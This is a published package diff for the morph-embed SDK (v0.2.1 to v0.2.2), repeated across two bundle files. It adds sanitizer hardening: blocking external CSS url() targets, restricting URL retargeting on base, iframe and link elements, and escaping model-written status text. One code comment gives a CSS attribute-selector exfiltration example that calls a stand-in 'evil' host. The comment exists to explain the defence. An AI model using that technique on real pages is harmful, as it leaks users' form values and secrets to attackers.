morph-embed 0.2.1 → 0.2.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,4 +1,4 @@
1
- /*! Morph Embed SDK v0.2.1 — https://usemorph.xyz — MIT */
1
+ /*! Morph Embed SDK v0.2.2 — https://usemorph.xyz — MIT */
2
2
  const g = typeof window !== "undefined" ? window : globalThis;
3
3
 
4
4
  /* ---- shared/dsl.js ---- */
@@ -77,6 +77,17 @@ const g = typeof window !== "undefined" ? window : globalThis;
77
77
  // URL-bearing attribute names (used by both HTML sanitizer and setAttr guard).
78
78
  const URL_ATTRS = new Set(['href', 'src', 'srcset', 'xlink:href']);
79
79
 
80
+ // setAttr must never retarget the URL of these elements even to an https host:
81
+ // <base href> rewrites how every relative URL on the page resolves; <link>,
82
+ // <iframe>, <frame>, <object>, <embed> load external content in-page (a <link
83
+ // rel=stylesheet> also loads a stylesheet the CSS neutralizer never sees).
84
+ const URL_RETARGET_BLOCK_TAGS = new Set(['base', 'link', 'iframe', 'frame', 'object', 'embed', 'meta', 'form']);
85
+ // Cheap purely-static check: does a selector name one of those tags directly?
86
+ function selectorNamesBlockedTag(selector) {
87
+ const toks = String(selector || '').toLowerCase().match(/[a-z][a-z0-9]*/g) || [];
88
+ return toks.some((t) => URL_RETARGET_BLOCK_TAGS.has(t));
89
+ }
90
+
80
91
  // Modest length caps (DoS hygiene; generous enough not to clip real payloads).
81
92
  const MAX_CSS = 200000;
82
93
  const MAX_HTML = 200000;
@@ -120,6 +131,9 @@ const g = typeof window !== "undefined" ? window : globalThis;
120
131
  /behavior\s*:/.test(normalized) ||
121
132
  /-moz-binding/.test(normalized) ||
122
133
  /url\(\s*(['"]?)\s*(javascript|vbscript|mocha|livescript|data\s*:\s*text\/html|data\s*:\s*application)/.test(normalized) ||
134
+ // external url() (scheme or protocol-relative), except inline data:image —
135
+ // backstop for escape/comment-obfuscated exfil the token pass missed
136
+ /url\(\s*['"]?\s*(?!data:image\/)([a-z][a-z0-9+.-]*:|\/\/)/.test(normalized) ||
123
137
  /(javascript|vbscript|mocha|livescript)\s*:/.test(normalized)
124
138
  );
125
139
  }
@@ -146,6 +160,23 @@ const g = typeof window !== "undefined" ? window : globalThis;
146
160
  /url\(\s*(['"]?)((?:\/\*[\s\S]*?\*\/|\s)*)(javascript|vbscript|mocha|livescript|data\s*:\s*text\/html|data\s*:\s*application)[^)]*\)/gi,
147
161
  'url($1about:blank#)'
148
162
  );
163
+ // EXTERNAL url() exfiltration channel: a model reshape must never fetch an
164
+ // off-page resource (the product is reshape-only, on-page data only). An
165
+ // attribute-selector rule like input[value^="a"]{background:url(//evil/a)}
166
+ // leaks page secrets to an attacker host with zero interaction. Neutralize
167
+ // any url() whose target is absolute (has a scheme) or protocol-relative
168
+ // (//host), EXCEPT data:image/* (inline, no network). Relative paths
169
+ // (same-origin, can't exfiltrate cross-origin) are preserved.
170
+ out = out.replace(/url\(([^)]*)\)/gi, function (full, inner) {
171
+ const target = String(inner)
172
+ .replace(/\/\*[\s\S]*?\*\//g, '') // comments
173
+ .trim()
174
+ .replace(/^(['"])([\s\S]*)\1$/, '$2') // matched quotes
175
+ .trim();
176
+ if (/^data:image\//i.test(target)) return full; // inline image OK
177
+ if (/^([a-z][a-z0-9+.-]*:|\/\/)/i.test(target)) return 'url(about:blank#)'; // scheme or //host -> block
178
+ return full; // relative -> OK
179
+ });
149
180
  // bare scheme prefixes inside the value (style attr context)
150
181
  if (mode === 'style') {
151
182
  out = out.replace(/(javascript|vbscript|mocha|livescript)\s*:/gi, '');
@@ -381,6 +412,11 @@ const g = typeof window !== "undefined" ? window : globalThis;
381
412
  const n = normalizeAttrName(op.name);
382
413
  if (n.startsWith('on')) return 'event-handler attr blocked';
383
414
  if (!ALLOWED_ATTRS.has(n)) return 'attr not allowed: ' + n;
415
+ // Refuse to retarget a URL attribute onto <base>/<iframe>/<link>/… — even
416
+ // to https — because that loads external content or reroutes the page.
417
+ if (URL_ATTRS.has(n) && selectorNamesBlockedTag(op.selector)) {
418
+ return 'url retarget on ' + n + ' blocked for framing/base/link targets';
419
+ }
384
420
  }
385
421
  // renderData: chart type + position must be from the fixed sets. The op has
386
422
  // two forms; either way the actual numbers come from caller-attached data at
@@ -651,8 +687,13 @@ const g = typeof window !== "undefined" ? window : globalThis;
651
687
  return () => els.forEach((el, i) => { el.textContent = prev[i]; });
652
688
  }
653
689
  case 'setAttr': {
654
- const els = resolveEls(doc, op);
690
+ let els = resolveEls(doc, op);
655
691
  if (op.name.toLowerCase().startsWith('on')) throw new Error('event-handler attr blocked');
692
+ // Airtight, selector-independent backstop: never write a URL attribute
693
+ // onto a framing/base/link element regardless of how it was matched.
694
+ if (URL_ATTRS.has(normalizeAttrName(op.name))) {
695
+ els = els.filter((el) => !URL_RETARGET_BLOCK_TAGS.has(String(el.tagName || '').toLowerCase()));
696
+ }
656
697
  if (!els.length) return null;
657
698
  const prev = els.map((el) => (el.hasAttribute(op.name) ? el.getAttribute(op.name) : null));
658
699
  els.forEach((el) => el.setAttribute(op.name, op.value));
@@ -910,7 +951,10 @@ const g = typeof window !== "undefined" ? window : globalThis;
910
951
  }
911
952
  case 'setAttr': {
912
953
  if (op.name.toLowerCase().startsWith('on')) return { touched: 0 };
913
- const els = unmarked(doc, op.selector, token);
954
+ let els = unmarked(doc, op.selector, token);
955
+ if (URL_ATTRS.has(normalizeAttrName(op.name))) {
956
+ els = els.filter((el) => !URL_RETARGET_BLOCK_TAGS.has(String(el.tagName || '').toLowerCase()));
957
+ }
914
958
  if (!els.length) return { touched: 0 };
915
959
  const prev = els.map((el) => (el.hasAttribute(op.name) ? el.getAttribute(op.name) : null));
916
960
  els.forEach((el) => { el.setAttribute(op.name, op.value); reconAdd(el, token); });
@@ -2924,7 +2968,7 @@ const g = typeof window !== "undefined" ? window : globalThis;
2924
2968
  () => { try { bar.setStatus('✓ Action "' + name + '" done.', 'ok'); } catch (_) { /* bar gone */ } },
2925
2969
  (e) => {
2926
2970
  const msg = String((e && e.message) || e);
2927
- try { bar.setStatus(/declined/.test(msg) ? 'Action cancelled.' : 'Action failed: ' + msg, /declined/.test(msg) ? '' : 'err'); } catch (_) { /* bar gone */ }
2971
+ try { bar.setStatus(/declined/.test(msg) ? 'Action cancelled.' : 'Action failed: ' + escapeHtml(msg), /declined/.test(msg) ? '' : 'err'); } catch (_) { /* bar gone */ }
2928
2972
  }
2929
2973
  );
2930
2974
  }
@@ -3019,7 +3063,7 @@ const g = typeof window !== "undefined" ? window : globalThis;
3019
3063
  resp = await r.json();
3020
3064
  } catch (e) {
3021
3065
  clearStages();
3022
- try { bar.setBusy(false); bar.setStatus('Could not reach Morph: ' + String((e && e.message) || e), 'err'); } catch (_) { /* noop */ }
3066
+ try { bar.setBusy(false); bar.setStatus('Could not reach Morph: ' + escapeHtml(String((e && e.message) || e)), 'err'); } catch (_) { /* noop */ }
3023
3067
  return;
3024
3068
  }
3025
3069
  clearStages();
@@ -3048,7 +3092,9 @@ const g = typeof window !== "undefined" ? window : globalThis;
3048
3092
  const edit = await store.appendEdit(pathKey(), anchored, { prompt });
3049
3093
  const note = handle.failed ? ' (' + handle.failed + ' op(s) skipped)' : '';
3050
3094
  const explanation = (resp.transform && resp.transform.explanation) || 'Done.';
3051
- bar.setStatus('✓ ' + explanation + ' Saved for this page.' + note, 'ok');
3095
+ // setStatus renders TRUSTED HTML (innerHTML) escape the model's
3096
+ // free-text explanation, exactly as the extension does (content.js).
3097
+ bar.setStatus('✓ ' + escapeHtml(explanation) + ' Saved for this page.' + note, 'ok');
3052
3098
  bar.showActions(true);
3053
3099
  try { bar.clearInput(); } catch (_) { /* noop */ }
3054
3100
  await refreshCount();
@@ -1,4 +1,4 @@
1
- /*! Morph Embed SDK v0.2.1 — https://usemorph.xyz — MIT */
1
+ /*! Morph Embed SDK v0.2.2 — https://usemorph.xyz — MIT */
2
2
 
3
3
  /* ---- shared/dsl.js ---- */
4
4
  /*
@@ -76,6 +76,17 @@
76
76
  // URL-bearing attribute names (used by both HTML sanitizer and setAttr guard).
77
77
  const URL_ATTRS = new Set(['href', 'src', 'srcset', 'xlink:href']);
78
78
 
79
+ // setAttr must never retarget the URL of these elements even to an https host:
80
+ // <base href> rewrites how every relative URL on the page resolves; <link>,
81
+ // <iframe>, <frame>, <object>, <embed> load external content in-page (a <link
82
+ // rel=stylesheet> also loads a stylesheet the CSS neutralizer never sees).
83
+ const URL_RETARGET_BLOCK_TAGS = new Set(['base', 'link', 'iframe', 'frame', 'object', 'embed', 'meta', 'form']);
84
+ // Cheap purely-static check: does a selector name one of those tags directly?
85
+ function selectorNamesBlockedTag(selector) {
86
+ const toks = String(selector || '').toLowerCase().match(/[a-z][a-z0-9]*/g) || [];
87
+ return toks.some((t) => URL_RETARGET_BLOCK_TAGS.has(t));
88
+ }
89
+
79
90
  // Modest length caps (DoS hygiene; generous enough not to clip real payloads).
80
91
  const MAX_CSS = 200000;
81
92
  const MAX_HTML = 200000;
@@ -119,6 +130,9 @@
119
130
  /behavior\s*:/.test(normalized) ||
120
131
  /-moz-binding/.test(normalized) ||
121
132
  /url\(\s*(['"]?)\s*(javascript|vbscript|mocha|livescript|data\s*:\s*text\/html|data\s*:\s*application)/.test(normalized) ||
133
+ // external url() (scheme or protocol-relative), except inline data:image —
134
+ // backstop for escape/comment-obfuscated exfil the token pass missed
135
+ /url\(\s*['"]?\s*(?!data:image\/)([a-z][a-z0-9+.-]*:|\/\/)/.test(normalized) ||
122
136
  /(javascript|vbscript|mocha|livescript)\s*:/.test(normalized)
123
137
  );
124
138
  }
@@ -145,6 +159,23 @@
145
159
  /url\(\s*(['"]?)((?:\/\*[\s\S]*?\*\/|\s)*)(javascript|vbscript|mocha|livescript|data\s*:\s*text\/html|data\s*:\s*application)[^)]*\)/gi,
146
160
  'url($1about:blank#)'
147
161
  );
162
+ // EXTERNAL url() exfiltration channel: a model reshape must never fetch an
163
+ // off-page resource (the product is reshape-only, on-page data only). An
164
+ // attribute-selector rule like input[value^="a"]{background:url(//evil/a)}
165
+ // leaks page secrets to an attacker host with zero interaction. Neutralize
166
+ // any url() whose target is absolute (has a scheme) or protocol-relative
167
+ // (//host), EXCEPT data:image/* (inline, no network). Relative paths
168
+ // (same-origin, can't exfiltrate cross-origin) are preserved.
169
+ out = out.replace(/url\(([^)]*)\)/gi, function (full, inner) {
170
+ const target = String(inner)
171
+ .replace(/\/\*[\s\S]*?\*\//g, '') // comments
172
+ .trim()
173
+ .replace(/^(['"])([\s\S]*)\1$/, '$2') // matched quotes
174
+ .trim();
175
+ if (/^data:image\//i.test(target)) return full; // inline image OK
176
+ if (/^([a-z][a-z0-9+.-]*:|\/\/)/i.test(target)) return 'url(about:blank#)'; // scheme or //host -> block
177
+ return full; // relative -> OK
178
+ });
148
179
  // bare scheme prefixes inside the value (style attr context)
149
180
  if (mode === 'style') {
150
181
  out = out.replace(/(javascript|vbscript|mocha|livescript)\s*:/gi, '');
@@ -380,6 +411,11 @@
380
411
  const n = normalizeAttrName(op.name);
381
412
  if (n.startsWith('on')) return 'event-handler attr blocked';
382
413
  if (!ALLOWED_ATTRS.has(n)) return 'attr not allowed: ' + n;
414
+ // Refuse to retarget a URL attribute onto <base>/<iframe>/<link>/… — even
415
+ // to https — because that loads external content or reroutes the page.
416
+ if (URL_ATTRS.has(n) && selectorNamesBlockedTag(op.selector)) {
417
+ return 'url retarget on ' + n + ' blocked for framing/base/link targets';
418
+ }
383
419
  }
384
420
  // renderData: chart type + position must be from the fixed sets. The op has
385
421
  // two forms; either way the actual numbers come from caller-attached data at
@@ -650,8 +686,13 @@
650
686
  return () => els.forEach((el, i) => { el.textContent = prev[i]; });
651
687
  }
652
688
  case 'setAttr': {
653
- const els = resolveEls(doc, op);
689
+ let els = resolveEls(doc, op);
654
690
  if (op.name.toLowerCase().startsWith('on')) throw new Error('event-handler attr blocked');
691
+ // Airtight, selector-independent backstop: never write a URL attribute
692
+ // onto a framing/base/link element regardless of how it was matched.
693
+ if (URL_ATTRS.has(normalizeAttrName(op.name))) {
694
+ els = els.filter((el) => !URL_RETARGET_BLOCK_TAGS.has(String(el.tagName || '').toLowerCase()));
695
+ }
655
696
  if (!els.length) return null;
656
697
  const prev = els.map((el) => (el.hasAttribute(op.name) ? el.getAttribute(op.name) : null));
657
698
  els.forEach((el) => el.setAttribute(op.name, op.value));
@@ -909,7 +950,10 @@
909
950
  }
910
951
  case 'setAttr': {
911
952
  if (op.name.toLowerCase().startsWith('on')) return { touched: 0 };
912
- const els = unmarked(doc, op.selector, token);
953
+ let els = unmarked(doc, op.selector, token);
954
+ if (URL_ATTRS.has(normalizeAttrName(op.name))) {
955
+ els = els.filter((el) => !URL_RETARGET_BLOCK_TAGS.has(String(el.tagName || '').toLowerCase()));
956
+ }
913
957
  if (!els.length) return { touched: 0 };
914
958
  const prev = els.map((el) => (el.hasAttribute(op.name) ? el.getAttribute(op.name) : null));
915
959
  els.forEach((el) => { el.setAttribute(op.name, op.value); reconAdd(el, token); });
@@ -2923,7 +2967,7 @@
2923
2967
  () => { try { bar.setStatus('✓ Action "' + name + '" done.', 'ok'); } catch (_) { /* bar gone */ } },
2924
2968
  (e) => {
2925
2969
  const msg = String((e && e.message) || e);
2926
- try { bar.setStatus(/declined/.test(msg) ? 'Action cancelled.' : 'Action failed: ' + msg, /declined/.test(msg) ? '' : 'err'); } catch (_) { /* bar gone */ }
2970
+ try { bar.setStatus(/declined/.test(msg) ? 'Action cancelled.' : 'Action failed: ' + escapeHtml(msg), /declined/.test(msg) ? '' : 'err'); } catch (_) { /* bar gone */ }
2927
2971
  }
2928
2972
  );
2929
2973
  }
@@ -3018,7 +3062,7 @@
3018
3062
  resp = await r.json();
3019
3063
  } catch (e) {
3020
3064
  clearStages();
3021
- try { bar.setBusy(false); bar.setStatus('Could not reach Morph: ' + String((e && e.message) || e), 'err'); } catch (_) { /* noop */ }
3065
+ try { bar.setBusy(false); bar.setStatus('Could not reach Morph: ' + escapeHtml(String((e && e.message) || e)), 'err'); } catch (_) { /* noop */ }
3022
3066
  return;
3023
3067
  }
3024
3068
  clearStages();
@@ -3047,7 +3091,9 @@
3047
3091
  const edit = await store.appendEdit(pathKey(), anchored, { prompt });
3048
3092
  const note = handle.failed ? ' (' + handle.failed + ' op(s) skipped)' : '';
3049
3093
  const explanation = (resp.transform && resp.transform.explanation) || 'Done.';
3050
- bar.setStatus('✓ ' + explanation + ' Saved for this page.' + note, 'ok');
3094
+ // setStatus renders TRUSTED HTML (innerHTML) escape the model's
3095
+ // free-text explanation, exactly as the extension does (content.js).
3096
+ bar.setStatus('✓ ' + escapeHtml(explanation) + ' Saved for this page.' + note, 'ok');
3051
3097
  bar.showActions(true);
3052
3098
  try { bar.clearInput(); } catch (_) { /* noop */ }
3053
3099
  await refreshCount();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "morph-embed",
3
- "version": "0.2.1",
3
+ "version": "0.2.2",
4
4
  "description": "Embed a prompt bar in your product so users can generate the features you haven't built — real-data widgets, layout reshapes, and confirm-gated actions. Declarative-DSL security model; your data never leaves the page.",
5
5
  "license": "MIT",
6
6
  "main": "dist/morph-embed.esm.mjs",